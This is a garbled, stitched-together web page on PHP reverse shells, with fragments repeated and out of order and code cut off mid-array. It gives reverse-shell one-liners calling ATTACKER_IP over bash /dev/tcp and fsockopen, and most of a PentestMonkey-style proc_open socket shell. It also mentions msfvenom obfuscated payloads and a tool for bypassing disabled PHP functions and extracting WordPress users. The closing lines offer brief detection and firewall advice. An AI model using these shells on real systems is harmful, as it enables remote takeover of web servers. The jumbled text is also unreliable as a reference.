The script’s operational flow can be broken down into several key stages:
: Part of the Metasploit Framework , msfvenom can generate obfuscated PHP payloads that are harder for antivirus to detect.
). The server executes the PHP code, which opens a socket and sends a command prompt back to the attacker’s machine. Popular PHP Reverse Shell "Top" Picks
Use code with caution.
Always remove the reverse shell script from the target system after your testing is complete.
php -r 'exec("/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"");' Use code with caution.
array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); if (is_resource($process)) stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); while (true) if (feof($sock)) break; if (feof($pipes[1])) break; $read = array($sock, $pipes[1], $pipes[2]); $write = null; $except = null; if (stream_select($read, $write, $except, 1) > 0) if (in_array($sock, $read)) fwrite($pipes[0], fread($sock, 1024)); if (in_array($pipes[1], $read)) fwrite($sock, fread($pipes[1], 1024)); if (in_array($pipes[2], $read)) fwrite($sock, fread($pipes[2], 1024)); fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); ?> Use code with caution. 2. PentestMonkey PHP Reverse Shell reverse shell php top
When web shells do not work due to disabled PHP functions, php_injector provides an alternative by allowing you to inject and execute PHP code directly, bypassing the limitations imposed by disabled system command functions. It includes prebuilt templates for directory listing, file reading, MySQL database exploration, WordPress user extraction, disabled functions enumeration, and localhost port scanning.
: php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' .
Injecting malicious code into input fields that are processed by system-level functions. Technical Vulnerabilities Exploited The script’s operational flow can be broken down
Look for anomalous POST requests to unusual file paths (e.g., /wp-content/uploads/2026/05/image.php ) or requests with highly unusual query parameters containing system commands. 2. Monitoring Network Connections
: Configure firewalls to block unauthorized outbound connections from web servers to the internet.